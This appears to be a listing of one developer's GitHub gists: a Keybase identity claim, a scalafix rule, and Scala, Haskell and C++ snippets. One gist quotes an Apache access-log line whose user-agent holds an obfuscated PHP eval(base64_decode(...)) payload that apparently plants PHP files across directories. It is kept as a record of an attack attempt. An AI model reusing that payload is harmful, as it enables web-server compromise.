I hereby claim:
- I am fthomas on github.
- I am fthomas (https://keybase.io/fthomas) on keybase.
- I have a public key whose fingerprint is E8E0 DFA5 ED5B 5323 0316 7A9F CCCF CFC3 1874 C2DA
To claim this, I am signing this object:
package fix | |
import scalafix.v1._ | |
import scala.meta._ | |
class v1_2_0 extends SemanticRule("v1_2_0") { | |
override def fix(implicit doc: SemanticDocument): Patch = { | |
doc.tree.collect { | |
case t @ Term.Select(Term.Select(Term.Select(Term.Name("_root_"), Term.Name("io")), Term.Name("chrisdavenport")), Term.Name("log4cats")) => | |
Patch.replaceTree(t, "_root_.org.typelevel.log4cats") |
https://www.umsu.de/trees/#((a%E2%86%92c)%E2%88%A7(b%E2%86%92d))%E2%86%92((a%E2%88%A7b)%E2%86%92(c%E2%88%A7d)) | |
--- | |
A -> C | |
B -> D | |
A & B | |
--- | |
C & D |
case class A(i: Int) | |
object A { | |
implicit class ASyntax(val self: A) extends AnyVal { | |
def twice: Int = self.i * 2 | |
} | |
implicit def toASyntax2(a: A): ASyntax2 = | |
new ASyntax2(a) | |
} |
object AsyncCallbackInstances { | |
implicit val asyncCallbackAsync: Async[AsyncCallback] = new Async[AsyncCallback] { | |
override def async[A](k: (Either[Throwable, A] => Unit) => Unit): AsyncCallback[A] = | |
AsyncCallback((cb: Try[A] => Callback) => Callback(k(r => cb(r.toTry).runNow()))) | |
override def asyncF[A](k: (Either[Throwable, A] => Unit) => AsyncCallback[Unit]): AsyncCallback[A] = | |
AsyncCallback((cb: Try[A] => Callback) => k(r => cb(r.toTry).runNow()).toCallback) | |
override def suspend[A](thunk: => AsyncCallback[A]): AsyncCallback[A] = | |
AsyncCallback.byName(thunk) |
I hereby claim:
To claim this, I am signing this object:
import Control.Arrow | |
type IsEq a = (a, a) | |
splitInterchange :: (Arrow f) => f a1 a2 -> f a2 a3 -> f b1 b2 -> f b2 b3 | |
-> IsEq (f (a1, b1) (a3, b3)) | |
splitInterchange f1 f2 g1 g2 = (lhs, rhs) | |
where | |
lhs = (f1 >>> f2) *** (g1 >>> g2) | |
rhs = (f1 *** g1) >>> (f2 *** g2) |
#include <algorithm> | |
#include <iostream> | |
#include <iterator> | |
#include <list> | |
#include <string> | |
using namespace std; | |
template<class T> |
import scala.language.higherKinds | |
import scala.collection.TraversableLike | |
def minGroupBy[CC[A], A, B](c: CC[A])(f: A => B) | |
(implicit ev1: CC[A] => TraversableLike[A, CC[A]], | |
ev2: Ordering[B]): CC[A] = { | |
val grouped = c.groupBy(f) | |
if (grouped.nonEmpty) grouped.minBy(_._1)._2 else c | |
} //> minGroupBy: [CC[A], A, B](c: CC[A])(f: A => B)(implicit ev1: CC[A] => scala. | |
//| collection.TraversableLike[A,CC[A]], implicit ev2: Ordering[B])CC[A] |
from /var/log/apache2/access.log: | |
46.105.114.130 - - [27/Feb/2013:18:27:52 +0100] "GET / HTTP/1.1" 200 772 "" "<?php eval(base64_decode(\"YWRkTG9hZGVyKCk7DQokZGF0YSA9IEBvcGVuZGlyKCcuJyk7DQoNCndoaWxlICgkZmlsZSA9IEByZWFkZGlyKCRkYXRhKSkNCnsNCgkkZmlsZSA9IHRyaW0oJGZpbGUpOw0KCWlmICghJGZpbGUgfHwgcHJlZ19tYXRjaCgnL15cLiskLycsICRmaWxlKSB8fCAhaXNfZGlyKCRmaWxlKSkgY29udGludWU7DQoJYWRkTG9hZGVyKCRmaWxlKTsNCn0NCg0KQGNsb3NlZGlyKCRkYXRhKTsNCg0KZnVuY3Rpb24gYWRkTG9hZGVyKCRkaXIgPSAnJykNCnsNCiAgICBpZiAoJGRpcikgJGRpciAuPSAnLyc7DQogICAgQGNobW9kKCRkaXIsIDc3Nyk7DQogICAgDQogICAgJGZwID0gZm9wZW4oInskZGlyfThkOTQ2YmY5NGY1YTU2MDY0NmNmNzdmYjYwOTg4MWQ0LnBocCIsICJ3Iik7IA0KICAgIGZ3cml0ZSgkZnAsIGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyRnNiRzkzWDNWeWJGOW1iM0JsYmljc0lERXBPdzBLUUdsdWFWOXpaWFFvSjJSbFptRjFiSFJmYzI5amEyVjBYM1JwYldWdmRYUW5MQ0EyTUNrN0RRcEFhVzVwWDNObGRDZ25iV0Y0WDJWNFpXTjFkR2x2Ymw5MGFXMWxKeXdnTmpBcE93MEtRSE5sZEY5MGFXMWxYMnhwYldsMEtEWXdLVHNOQ2cwS0pHUmhkR0VnUFNCQWRXNXpaWEpwWVd4cGVtVW9ZbUZ6WlRZMFgyUmxZMjlrWlNoMGNtbHRLRUFrWDFCU |
// see http://stackoverflow.com/questions/14924707/how-to-write-a-scalaz-isempty-parameter-for-generic-types | |
import scalaz._ | |
import Scalaz._ | |
object Test { | |
def asOption[C](c: C)(implicit ev: IsEmpty[({type F[_] = C})#F]): Option[C] = | |
if (ev.isEmpty(c)) None else Some(c) | |
implicit def detailedIsEmpty[A, C[_]](implicit ev: IsEmpty[C]) = |